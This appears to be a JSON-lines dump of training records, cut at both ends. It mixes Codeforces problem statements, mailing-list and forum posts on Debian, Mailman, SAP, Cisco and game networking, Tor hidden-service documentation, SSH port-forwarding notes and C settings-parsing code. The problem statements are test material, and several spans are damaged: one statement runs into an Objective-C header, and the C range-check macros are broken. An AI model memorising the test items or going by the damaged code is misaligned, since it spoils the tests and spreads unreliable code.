"language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Ansgar Burchardt dijo [Sun, Jun 10, 2012 at 01:57:49PM +0200]: > Hi, > > (Please send followup messages to -project.) > > The ftp team wants to change how allowing Debian Maintainers to upload > packages works. The current approach with the DM-Upload-Allowed field > has a few issues we would like to address: > (...) Hi, Hmm, this looks interesting, and useful. I'd like to add a bit as a wishlist item: Having this DB easily queriable (i.e. a webpage where you can query by key to see all the packages uploadable by a given key). And just thinking about possible complications: I *hope* we don't see any such behaviour, but this format would allow a DD to \"censor\" a given DM's activity. If I send \"Deny\" actions with somebody's key, it ends up blocking that person until somebody else is convinced to send corresponding \"Allow\" commands. Of course, if we see any such behaviour (repeatedly?), I might be reprehended and maybe even locked out of sending requests to this subsystem. Thoughts on this? Finally, it's interesting to me (as keyring-maint) that you are specifying the fingerprint. Of course, it makes sense. But it can make key migration (i.e. a DM moving from a 1024D to a 4096R key, or reacting to a key being compromised) as a more difficult thing, as the new key would first have to be inserted by us into the live keyring and only then the old key denied and the new one allowed. I guess we could automate this procedure when performing the keyring push... Anyway, and modulo the time it takes to implement all the needed bits (and discussion), thanks for a nice new idea, and hope to see it go forward!\nDescription: Digital signature", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 407, "token_count_with_eod": 408, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a book with $$$n$$$ chapters.\n\nEach chapter has a specified list of other chapters that need to be understood in order to understand this chapter. To understand a chapter, you must read it after you understand every chapter on its required list.\n\nCurrently you don't understand any of the chapters. You are going to read the book from the beginning till the end repeatedly until you understand the whole book. Note that if you read a chapter at a moment when you don't understand some of the required chapters, you don't understand this chapter.\n\nDetermine how many times you will read the book to understand every chapter, or determine that you will never understand every chapter no matter how many times you read the book.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Keystore not initialized RemoteException in Method: getLocalJ2EEKeyStore\nI'm running into a weird error which reads -\nThe keystore service_ssl has not been initialized(loaded) -\nRemoteException in Method: getLocalJ2EEKeyStore(). The JNDI Look-Up for the Keystore failed.\nI followed all instructions to create a Key value pair and have placed it under service_ssl view in Key Storage under Cluster in Visual Admin.\nI checked accessing the https url for XI server to test if the CA was working fine and that worked fine.\nI'm trying to do a File to RNIF scenario (for testing RNIF adapter)..and running into this issue.\nHave anybody come across this error? How do I activate Key storage view?\nThanks in advance.\nYou need to assign the role for that.Do the following.\nsecurity provider--keystore.default--securityroles--in users add xiafuser,xiappluser security provider--sap.com/tc~sec~wssec~app*wssprocess.jar--securityroles--in users add xiafuser,xiappluser", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 231, "token_count_with_eod": 232, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Information about upgrading\nAll releases can be found on GitHub.\nUpgrading from 0.2.0 to 0.2.1\nIn this version, a more generic custom template functionality has been introduced. This deprecated the\ntemplate-xyz.twig. More information about this new template feature can be found here.\nUpgrading from 0.1.0 to 0.2.0\nImportant note when upgrading to 0.2.0\n- Removal of loading theme specific directory via\n- Autoloading Core and Theme\n- No more\nIn 0.2.0. we implemented autoloading (spl_autoload_register) on the\nwordpress-objects directory within the Clarkson Core plugin and your Clarkson Theme. One should also do this within your own theme, so we highly suggest using Composer or another autoloading in your theme.\nOne breaking change is that the old glob’ing method of all your themes (\ntaxonomies directory) by Clarkson Core is removed.\nWe’ve build-in a quick-fix to maintain backwards compatiblity, but it’s disabled by default. To enable it add this in a file within your\nEnable via theme autoload filter\n wrote:\n>Has anybody written (or considered writing) a proxy server for CU-Seeme?\n>My request to have UDP port 7648 turned on was turned down; I enjoy the\n>use of CU-SeeME at work - but only when I'm on the other side of our firewall.\nWhat you might try doing is to get your security admins to run a reflector\non the same machine (or in parallel) as the firewall. That wouldn't allow\nyou to connect out, but you could get others to connect in to you. In a\nfuture version, we may provide the means to have a reflector establish\nconnections when stimulated by an appropriately identified participant.\nAnyway, you can point out to the security folks that the reflector is\navailable in source, so they can inspect it to be sure it doesn't do\nanything they don't want done.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Vladimir wants to modernize partitions in his office. To make the office more comfortable he decided to remove a partition and plant several bamboos in a row. He thinks it would be nice if there are n bamboos in a row, and the i-th from the left is ai meters high.\n\nVladimir has just planted n bamboos in a row, each of which has height 0 meters right now, but they grow 1 meter each day. In order to make the partition nice Vladimir can cut each bamboo once at any height (no greater that the height of the bamboo), and then the bamboo will stop growing.\n\nVladimir wants to check the bamboos each d days (i.e. d days after he planted, then after 2d days and so on), and cut the bamboos that reached the required height. Vladimir wants the total length of bamboo parts he will cut off to be no greater than k meters.\n\nWhat is the maximum value d he can choose so that he can achieve what he wants without cutting off more than k meters of bamboo?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Pari wants to buy an expensive chocolate from Arya. She has n coins, the value of the i-th coin is ci. The price of the chocolate is k, so Pari will take a subset of her coins with sum equal to k and give it to Arya.\n\nLooking at her coins, a question came to her mind: after giving the coins to Arya, what values does Arya can make with them? She is jealous and she doesn't want Arya to make a lot of values. So she wants to know all the values x, such that Arya will be able to make x using some subset of coins with the sum k.\n\nFormally, Pari wants to know the values x such that there exists a subset of coins with the sum k such that some subset of this subset has the sum x, i.e. there is exists some way to pay for the chocolate, such that Arya will be able to make the sum x using these coins.", "source": "cpt_codeforces", "language": "en", "token_count": 199, "token_count_with_eod": 200, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "The \"ip access-group\" command will block someone from connecting to that network but not from the route appearing in the routing table.\nAs I understand it, you want to prevent the route from appearing in the routing table (which would ultimately prevent all access to the network, even without an ip access-group statement).\nTo do this, block it when you redistribute it using a route-map or you block it when it comes into a router, downstream, using the distrbute-list command.\nEither way, the ip access-group statement doesn't keep the route from appearing in the routing table.\nI know you said that you don't want to use a distribute list or route-map (I don't see that you need tags in this case) but that seems like the best way to do it.\nIs this from some kind of test question? (when you say that you don't want to use the obviously best method, that hints to me that it is from a test question).\nIf you still have more questions, please post and maybe we can figure it out together.\nKeep Up with TechRepublic", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Polycarp has a rectangular field of $$$n \\times m$$$ cells (the size of the $$$n \\cdot m$$$ field does not exceed $$$10^6$$$ cells, $$$m \\ge 2$$$), in each cell of which there can be candy. There are $$$n$$$ rows and $$$m$$$ columns in the field.\n\nLet's denote a cell with coordinates $$$x$$$ vertically and $$$y$$$ horizontally by $$$(x, y)$$$. Then the top-left cell will be denoted as $$$(1, 1)$$$, and the bottom-right cell will be denoted as $$$(n, m)$$$.\n\nIf there is candy in the cell, then the cell is marked with the symbol '1', otherwise — with the symbol '0'.\n\nPolycarp made a Robot that can collect candy. The Robot can move from $$$(x, y)$$$ either to $$$(x+1, y+1)$$$, or to $$$(x+1, y-1)$$$. If the Robot is in a cell that contains candy, it takes it.\n\nWhile there is at least one candy on the field, the following procedure is executed:\n\n- Polycarp puts the Robot in an arbitrary cell on the topmost row of the field. He himself chooses in which cell to place the Robot. It is allowed to put the Robot in the same cell multiple times.\n- The Robot moves across the field and collects candies. He controls the Robot.\n- When the Robot leaves the field, Polycarp takes it. If there are still candies left, Polycarp repeats the procedure.\n\nFind the minimum number of times Polycarp needs to put the Robot on the topmost row of the field in order to collect all the candies. It is guaranteed that Polycarp can always collect all the candies.", "source": "cpt_codeforces", "language": "en", "token_count": 385, "token_count_with_eod": 386, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "For me, this (lag) can be split into 4 different areas:\nEfficiency of the transport protocol: At the moment the game uses TCP. We’ve discussed internally exploring using UDP for some data packages. But the trade off isn’t a trivial selection. If there is time later in development we’ll look at UDP as an optimisation step for some data.\nOverhead of the client and server dispatch and receiving services: There isn’t much we can do about the OS network stacks (beyond server configuration) but there are likely opportunities for making the client and server handle networking more efficiently. (Speed up SSL, compression, reduce bundling of data, synchronise more intelligently during the frame, etc) Often with online games simply getting networking working is the priority. But I think we have some decent head room to improve this area.\nPhysical distance between client and server: Sorry, we can’t do anything about the speed of light. + = +\nMechanism for hiding latency: This is our biggest opportunity. As we’ve discussed in other threads the client does extensive prediction to try and hide the latency. Hopefully the client predicts correctly and when the server finally responds with the actual outcome, no correction is required. If the server responds with a different outcome, the client again does its best to hide the correction. Sometimes the correction is hard to spot, for example, a creature’s position is gradually corrected over subsequent frames. Sometimes the correction is binary, you either did or didn’t die, whoopsie the client got it wrong and snap you’re dead.\nInterestingly the client is often able to work with the server and make predictive predictions about entities. The following configurations exist:\nUnknown simulation of another player: the client doesn’t know anything about what another player will do. It only knows what it did in the past. So the client can only extrapolate their future position based on their recent movement. A running player is likely to continue running. But the client can’t predict when they’ll stop, or jump, or shoot. (This is why player-player grappling hooks, player-player collision, etc, are latency bound.)\nLocal simulation: the client can also run a simulation of the entities locally. If the simulation is deterministic, than the client can predict what an entity will do next by duplicating the servers simulation locally. This gives the client a good prediction. But other players can introduce noise into the system that will alter the entities actions on the server. (See #1). But in general if the player is roughly alone, the prediction hides the latency. Blocks will appear in your inventory before the server allows them. Creatures will die before they’re dead. Etc.\nTemporal Announcements: the most stable prediction is when the server actually tells the client in advance what will happen. This is a special case where we can (kindof) run the simulation ahead on the server. The server then communicates to the client, the future movement + actions of the entity. This means that when the client is making predictions it already knows that will happen on the server. We can do this for certain larger entities that the players can’t really effect. (Go ahead and read between the lines here - @tahru cough )\nIn short - we’ve made a big effort on hiding the lag - explicitly because the game is played online. Servers all around the world wouldn’t be possible without attempting to hide the latency. Whilst we know there are still some issues (rubber banding reported by players) - if we were ever to turn off the prediction you would instantly notice the difference, especially on remote servers.\nConcurrent players is mainly limited by the simulation cost of the players and the entities surrounding them, and the CPU performance of the server. (So nothing really to do with latency.) Interestingly there is a trade off here, because we want the creatures to do cool things, but this often means more expensive entity code.\nHowever, we’ve designed the game to mainly scale by having more worlds (ie. more servers), rather than by having (fewer) more powerful servers. This is an extremely common model for large scalability online.\nAt the moment, it’s hard to predict the # of concurrent players because 1. we’re still making the game, 2. we’ve not defined what hardware we’re benchmarking against. I’ve set the team an initial target of having over 100 players per core. Later in development, we’ll share some more metrics about server performance because this will be important for modders and hosts.\nUPDATE: Additional important point here. When players (and potential players) beat the development progress of the game up as being too slow - it’s often stuff like this that they don’t see. It would have been waaaaay quicker to not include any prediction. All the combat, ranged combat, block damage + placement, (basically everything) would have been much simpler to implement. But then the game wouldn’t have been scalable to play around the world. You’d not be able to seamlessly walk between servers in EU, NA and Aus. Lots of stuff is going on under the covers.\nThanks for the thorough answer! I realize I snuck in many questions on that one. 100 users per server is more than respectable. Plus, you are deploying on AWS, which can scale geographically as well as in several hardware and network ways.\nI can only imagine the technical challenges as lag is not something I have had to deal with beyond slow consumer issues.\nI guess this is a good a time as any to ask whether the immense lag is exclusive to me. I may have a 1mbps connection, but it still functions in most games. But I’ve literally not been able to play Oort due to lag.\nI switch to an item in my hotbar and it goes back to the previous one, I open my inventory and it instantly closes or I try to close my inventory and it opens back up again, I try to build and everything disappears, or I may try to walk but I get stuck/get put back.\nIs it just a problem with network optimization, or is it my location? (Arizona, USA)\nIf the server doesn’t respond to the client within 500ms (0.5 seconds) then the client assumes the response isn’t coming and reverts the prediction. (Placing blocks, switching item, movement - are all predicted.)\nAs many players can play without this issue (and given the information above explaining that the game is still in development) - I would initially suspect your connection.\nFirstly, try playing on the servers closest to you. (Sorry - obvious I know.)\nAre you playing via Wireless? This will add latency.\nWell I seem to be experiencing the issues on all servers, including ones closest to me. I haven’t tested it lately, but maybe I do get less lag on servers closer to me. Unfortunately, I can’t test the game as I don’t have a PSU for my PC, but my computer was previously wired into a router, so I guess you could say I’m not playing wireless.\nI’ll conduct some more tests when I have my computer back, so I’ll see to informing you whenever that happens.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1484, "token_count_with_eod": 1485, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "They say that Berland has exactly two problems, fools and roads. Besides, Berland has n cities, populated by the fools and connected by the roads. All Berland roads are bidirectional. As there are many fools in Berland, between each pair of cities there is a path (or else the fools would get upset). Also, between each pair of cities there is no more than one simple path (or else the fools would get lost).\n\nBut that is not the end of Berland's special features. In this country fools sometimes visit each other and thus spoil the roads. The fools aren't very smart, so they always use only the simple paths.\n\nA simple path is the path which goes through every Berland city not more than once.\n\nThe Berland government knows the paths which the fools use. Help the government count for each road, how many distinct fools can go on it.\n\nNote how the fools' paths are given in the input.", "source": "cpt_codeforces", "language": "en", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Polycarp studies in Berland State University. Soon he will have to take his exam. He has to pass exactly $$$n$$$ exams.\n\nFor the each exam $$$i$$$ there are known two days: $$$a_i$$$ — day of the first opportunity to pass the exam, $$$b_i$$$ — day of the second opportunity to pass the exam ($$$a_i < b_i$$$). Polycarp can pass at most one exam during each day. For each exam Polycarp chooses by himself which day he will pass this exam. He has to pass all the $$$n$$$ exams.\n\nPolycarp wants to pass all the exams as soon as possible. Print the minimum index of day by which Polycarp can pass all the $$$n$$$ exams, or print -1 if he cannot pass all the exams at all.", "source": "cpt_codeforces", "language": "en", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "You are given a permutation $$$a_1, a_2, \\dots, a_n$$$ of numbers from $$$1$$$ to $$$n$$$. Also, you have $$$n$$$ sets $$$S_1,S_2,\\dots, S_n$$$, where $$$S_i=\\{a_i\\}$$$. Lastly, you have a variable $$$cnt$$$, representing the current number of sets. Initially, $$$cnt = n$$$.\n\nWe define two kinds of functions on sets:\n\n$$$f(S)=\\min\\limits_{u\\in S} u$$$;\n\n$$$g(S)=\\max\\limits_{u\\in S} u$$$.\n\nYou can obtain a new set by merging two sets $$$A$$$ and $$$B$$$, if they satisfy $$$g(A)\n\n@class FXTimelineDescribe;\n@class FXMainComposition;\n\n@interface FXMainCompositionBuilder : NSObject\n\n- (id)initWithTimeline:(FXTimelineDescribe *)timelineDescribe;\n\n- (FXMainComposition *)buildComposition;\n\n- (FXMainComposition *)buildCompositionForExport;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Running the BitBoxBase means connecting to other Bitcoin and Lightning Network peers. If done over the regular internet protocol (IPv4), your IP address is visible to all your communication partners. As IP addresses can be located geographically, this means revealing your physical location, from the general area down to individual city blocks (the granularity depends on how your internet service provider manages IP addresses). You can easily locate yourself using services like https://iplocation.io or http://www.infosniper.net.\nRevealing your location with the information that you are using Bitcoin is not a good idea. This is why the BitBoxBase uses The Onion Router (Tor) to communicate to other Bitcoin peers privately and without revealing your real IP address.\nBy creating “hidden services”, Tor can also be used to securely access your BitBoxBase from outside your local network without having to configure any networking devices, such as port-forwarding on your router.\nPlease not that only Bitcoin-related communication is routed over Tor.\nTor is installed using signed Debian packages from the official repository at\nThe Tor configuration is application-specific:\n- Bitcoin Core\nbitcoindis not configured to listen to other Tor nodes.\n- To connect to other Bitcoin nodes, all communication is routed over the Tor SOCKS proxy. This configuration is set in\n/etc/bitcoin/bitcoin.confwith the option\nproxy=127.0.0.1:9050. Peers will see a regular IP address, but one that belongs to the Tor network and not your own.\nlightningdis configured to use the Tor SOCKS proxy, as specified in\n- It can be reached from the outside using Tor hidden services, that are specified in\nHiddenServiceDir /var/lib/tor/hidden_service_lightningd/ HiddenServiceVersion 3 HiddenServicePort 9375 127.0.0.1:9735\n- Electrs does not include advanced networking features and relies on other applications for these, e.g. on NGINX to provide SSL encryption, or a correctly configured Tor hidden service.\n- Access to\nelectrsis configured in\nHiddenServiceDir /var/lib/tor/hidden_service_electrs/ HiddenServiceVersion 3 HiddenServicePort 50002 127.0.0.1:50002\n- Middleware The Base Middleware API is also accessible as a Tor hidden service, configured in\nHiddenServiceDir /var/lib/tor/hidden_service_bbbmiddleware/ HiddenServiceVersion 3 HiddenServicePort 9375 127.0.0.1:8845\n- SSH If enabled (off by default), SSH login is also available using a Tor hidden service, configured in\nHiddenServiceDir /var/lib/tor/hidden_service_ssh/ HiddenServiceVersion 3 HiddenServicePort 22 127.0.0.1:22\nEach hidden service is represented as a directory in\n/var/lib/tor/ that contains files storing public and secret keys as well as a dedicated hostname (ending in\nThe individual hostnames are stored in the file\nhostname and can also be queried from Redis:\ntor:lightningd:onion tor:electrs:onion tor:bbbmiddleware:onion tor:ssh:onion\nTor is started and managed by systemd, but no manual configuration of the unit is required, as the standard configuration activated at package installation is used.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 719, "token_count_with_eod": 720, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "[Mailman-Users] Client wants unique archiving method\ndragon at crimson-dragon.com\nWed Aug 23 22:02:07 CEST 2006\nAndrew Jones sent the message below at 11:23 8/23/2006:\n>I just moved a client to Dreamhost from another provider where they\n>also had a Mailman discussion list.\n>Everything is working at Dreamhost, but they have a strange request.\n>They want all original posts to go to all subscribers as normal. BUT,\n>they want all replies to ONLY go to the original poster. But they\n>also want those replies to be archived so the entire list can choose\n>to view them or not.\n>I've looked through all of the Mailman config options and cannot find\n>a way to achieve what they want, even though they swear this is the\n>way it worked with their old host.\n>Is this possible, or are they on crack?\n---------------- End original message. ---------------------\nThey are on crack. And you really don't want to get into this can of\nworms. I'm not saying it couldn't be done, but it is not something\nthat would be easy nor reliable. See below for the full explanation.\nIn the standard mailman distribution, you can set up a list so that\nreplies go to the list (called \"Reply-To munging\" and\ndespised/deprecated by some) or to the poster. If you set it up in\nthe latter fashion, the e-mail in reply will never hit the mailman\nserver and you have no way of archiving it. If you set it up for\nreply to list, everything will go to the list and get archived.\nThe only possible way to even come close to what they want is to\nmodify the mailman code. It would be difficult to do and would be\nfraught with potential problems. Each incoming e-mail would have to\nbe examined for a number of things to determine if it was a reply or\nnot and who it should go to. This means that the In-Reply-To: header\nmust be examined to see if there is a matching message ID in the\narchive. Depending on list size and traffic, the archive size and the\nserver's processing load, that could be a long and slow process.\nIf you found a matching message, you would then have to determine who\nthe reply should go to. That task is non-trivial and you would have\nto make a number of assumptions that may or may not be valid. If\nthere is only one matching e-mail, you could extract the From: header\nfrom the original post, but if you have the list configured to hide\nthe identity of list members (you have anonymous_list set to Yes),\nyou cannot do that.\nBut what do you do if you have multiple messages in a long thread? Do\nyou just send the reply to the most immediate poster or to everyone\nin the chain? Is your assumption on what to do always appropriate, I\nwould say that it probably won't be.\nWhat happens if somebody replies to a thread by creating a new post\nthat does not have the In-Reply-To: header? What about when somebody\ngoes off on a tangent and uses Reply-To in their MUA to post a new\nmessage to the list? (People do these sorts of thing sometimes, there\nis no way you can reliably account for them).\nSo you can see why I say they are on crack. Tell them to step back\nand take a deep breath of reality.\nVenimus, Saltavimus, Bibimus (et naribus canium capti sumus)\nMore information about the Mailman-Users", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 793, "token_count_with_eod": 794, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Generate map reports to view and compare saved map results. You can create map reports to:\n- Identify hosts that have been added or removed from the network\n- Detect devices that have been placed on your network without your authorization\n- Filter data from your saved map results\n- Restrict the range of IPs included in the map report\nGo to VM/VMDR > Reports > Templates. Identify the map template you want to run and select Run from the Quick Actions menu. You'll be prompted to select the domain you want to report on, plus one or two saved maps to gather data from. When 2 map results are selected we'll compare them to identify systems that have been added or removed from your network.\nYou have the option to include related host information in your report (edit display settings in the map report template). If included, you can click the black arrow next to any host to see this information.\nDiscovery Method and Port - A list of open services on the host. For each service detected, the discovery method used to identify the service is listed along with the port that the service was running on (if available).\nAsset Groups - A list of asset groups containing the host.\nAuthentication - Identifies whether the host is included in one or more authentication records.\nYou'll learn more about each host in the report by looking at these columns:\nApproved (A) - Identifies whether the host is included in the approved hosts list for the domain. An \"A\" appears in this column if the host is in the approved hosts list. This column is blank if the host is not in the approved hosts list. Configure approved hosts for your domains from the domains list (Assets > Domains).\nScannable (S) - Identifies whether the host is in your account and therefore scannable. An \"S\" appears in this column if the host is in your account. This column is blank if the host is not in your account.\nLive (L) - Identifies whether the host was \"alive\" at the time of the discovery. An \"L\" appears in this column if the host was alive at the time of discovery. This column is blank if the host was not alive at the time of discovery.\nNetblock (N) - Identifies whether the host is included in the netblock for the domain. An \"N\" appears in this column if the host is in the domain's netblock. This column is blank if the host is not in the domain's netblock.\n(Only applicable when two maps are included in the report.) Identifies the current status of the host as compared to the first map. \"Active\" indicates the host was detected in both map results. \"Removed\" indicates the host was detected in Map 1 (the older map), but was not detected in Map 2 (the more recent map). The host may be inactive and not responding. \"Added\" indicates the host was not detected in Map 1 but was detected in Map 2.\nThere are several workflow actions you can perform on one or more hosts directly from your map report. Select the check box next to each host to include in the action, and select an action from the drop-down menu. Then click Apply.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Goa'uld Apophis captured Jack O'Neill's team again! Jack himself was able to escape, but by that time Apophis's ship had already jumped to hyperspace. But Jack knows on what planet will Apophis land. In order to save his friends, Jack must repeatedly go through stargates to get to this planet.\n\nOverall the galaxy has n planets, indexed with numbers from 1 to n. Jack is on the planet with index 1, and Apophis will land on the planet with index n. Jack can move between some pairs of planets through stargates (he can move in both directions); the transfer takes a positive, and, perhaps, for different pairs of planets unequal number of seconds. Jack begins his journey at time 0.\n\nIt can be that other travellers are arriving to the planet where Jack is currently located. In this case, Jack has to wait for exactly 1 second before he can use the stargate. That is, if at time t another traveller arrives to the planet, Jack can only pass through the stargate at time t + 1, unless there are more travellers arriving at time t + 1 to the same planet.\n\nKnowing the information about travel times between the planets, and the times when Jack would not be able to use the stargate on particular planets, determine the minimum time in which he can get to the planet with index n.", "source": "cpt_codeforces", "language": "en", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Roma found a new character in the game \"World of Darkraft - 2\". In this game the character fights monsters, finds the more and more advanced stuff that lets him fight stronger monsters.\n\nThe character can equip himself with k distinct types of items. Power of each item depends on its level (positive integer number). Initially the character has one 1-level item of each of the k types.\n\nAfter the victory over the monster the character finds exactly one new randomly generated item. The generation process looks as follows. Firstly the type of the item is defined; each of the k types has the same probability. Then the level of the new item is defined. Let's assume that the level of player's item of the chosen type is equal to t at the moment. Level of the new item will be chosen uniformly among integers from segment [1; t + 1].\n\nFrom the new item and the current player's item of the same type Roma chooses the best one (i.e. the one with greater level) and equips it (if both of them has the same level Roma choses any). The remaining item is sold for coins. Roma sells an item of level x of any type for x coins.\n\nHelp Roma determine the expected number of earned coins after the victory over n monsters.", "source": "cpt_codeforces", "language": "en", "token_count": 263, "token_count_with_eod": 264, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Create custum sshd config file\ncp /etc/ssh/sshd_config /etc/sshsshd_config_custom\nChanged options in sshd_config_custom file\nWith this configuration file, only theusername could connect ssh deamon on port 4321.\nRun sshd deamon\n/usr/lib/ssh/sshd -f /data01/tcell/sshd_config_config\nChange shell to /usr/bin/false in passwd file\nIf you do not have false shell create read only shell.\nadd two lines below\nbash -r -c read\nchmod a+x /usr/bin/dummyshell\nFrom remote computer:\nSo user had to use -N option for ssh command\nDoes not execute a remote command. This is useful if you\njust want to forward ports (protocol version 2 only).\nFor port forwarding from another system\nssh -N theusername@ipadressoftheserver -L 9999:127.0.0.1:9999 -p 4321\n-p for changed ssh port in sshd_config_custom\nNow user could not give any command on the server but could port forward 9999 from the server to computer.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Dates are not always precisely known, but the Art Institute strives to present this information as consistently and legibly as possible. Dates may be represented as a range that spans decades, centuries, dynasties, or periods and may include qualifiers such as c. (circa) or BCE.\nThe International Image Interoperability Framework (IIIF) represents a set of open standards that enables rich access to digital media from libraries, archives, museums, and other cultural institutions around the world.\nAntiquarian Society of the Art Institute of Chicago, American and European Decorative Arts: A Pictorial Review of Notable Objects in its Collections and Notes on the Society’s Aims and History (Chicago, 1951), no. 60 (ill.).\nAugusta S. Tavender, “Mediaeval English Alabasters in American Museums,” Speculum 30, 1 (1955), pp. 64-71, here 70, no. 57.\nDorothy Gillerman, ed., Gothic Sculpture in America, vol. 2: The Museums of the Midwest (Turnhout, Belgium, 2001), pp. 3-4, no. 2, ill.\nFrancis Cheetham, Alabaster Images of Medieval England (Rochester, N.Y., 2003), p. 104, no. 6.\nChicago, The Art Institute of Chicago, The First One Hundred Years, April 29 - June 19, 1977, cat. 321.\nObject information is a work in progress and may be updated as new research findings emerge. To help improve this record, please email . Information about image downloads and licensing is available here.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "It depends on the verb's ending how you form the imperatives but there are always two* options: an informal (\"tu\") and a formal (\"Lei\"). In most cases it is safe to stick to the indicative forms, like in \"veni qui\" vs. \"venga qui\", with the formal version of course being third person.\nHowever, for verbs ending in -are, this is somehow reverted. Thus, \"scusi\" is the formal and \"scusa\" the informal imperative of \"scusare\" and you use the third person for second and vice versa.\n(* Plus the \"let us\" type of first person plural imperative which is easily formed by using the corresponding indicative form.)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/**\n* @file settings.c\n*\n* contains all the functions for io to the settings file, including default\n* values that can be written to disk if no file is present.\n **/\n\n#include \n#include \t// FOR str_cmp()\n#include \t// for F_OK\n#include \t// for access()\n\n#include \n#include \n\n#include \n#include \n\n\n// json object respresentation of the whole settings file\nstatic json_object* jobj;\n\n// primary settings struct declared as extern in header is defined ONCE here\nsettings_t settings;\n\n// if anything goes wrong set this flag back to 0\nstatic int was_load_successful = 0;\n\n////////////////////////////////////////////////////////////////////////////////\n/// MACROS FOR PARSING JSON TYPES\n////////////////////////////////////////////////////////////////////////////////\n\n// macro for reading a boolean\n#define PARSE_BOOL(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_boolean)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be a boolean\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_boolean(tmp);\\\n\n\n// macro for reading an integer\n#define PARSE_INT(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_int)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be an int\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_int(tmp);\\\n\n\n// macro for reading a bound integer\n#define PARSE_INT_MIN_MAX(name,min,max) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_int)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be an int\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_int(tmp);\\\nif(settings.namemax){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be between min and max\\n\");\\\n\treturn -1;\\\n}\\\n\n\n// macro for reading a polarity which should be +-1\n#define PARSE_POLARITY(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_int)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be an int\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_int(tmp);\\\nif(settings.name!=-1 && settings.name!=1){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be -1 or 1\\n\");\\\n\treturn -1;\\\n}\\\n\n\n// macro for reading a floating point number\n#define PARSE_DOUBLE_MIN_MAX(name,min,max)\\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){\\\n\tfprintf(stderr,\"ERROR can't find \" #name \" in settings file\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_double)==0){\\\n\tfprintf(stderr,\"ERROR \" #name \" should be a double\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_double(tmp);\\\nif(settings.namemax){\\\n\tfprintf(stderr,\"ERROR \" #name \" should be between min and max\\n\");\\\n\treturn -1;\\\n}\\\n\n\n// macro for reading a string\n#define PARSE_STRING(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_string)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be a string\\n\");\\\n\treturn -1;\\\n}\\\nstrcpy(settings.name, json_object_get_string(tmp));\n\n// macro for reading feedback controller\n#define PARSE_CONTROLLER(name) \\\nif(json_object_object_get_ex(jobj, #name, 